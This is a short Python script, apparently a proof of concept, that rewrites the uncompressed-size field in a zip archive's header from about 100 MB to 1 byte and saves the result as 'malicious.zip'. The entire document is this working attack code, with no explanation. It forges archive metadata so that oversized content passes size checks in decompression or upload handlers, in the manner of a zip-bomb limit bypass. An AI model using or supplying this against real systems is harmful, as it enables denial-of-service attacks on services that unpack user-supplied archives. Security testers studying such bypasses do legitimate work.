#hex(104857600) original uncompressed size
def get_data():
    with open('valid.zip', 'rb') as f:
        return f.read()

def change_header(data):
    # replace the original uncommpressed data with 1 byte
    data = data.replace(b"\x00\x00@\x06", b"\x01\x00\x00\x00")
    with open('malicious.zip', 'wb') as f:
        f.write(data)

if __name__ == "__main__":
    data = get_data()
    change_header(data)
    print("Done")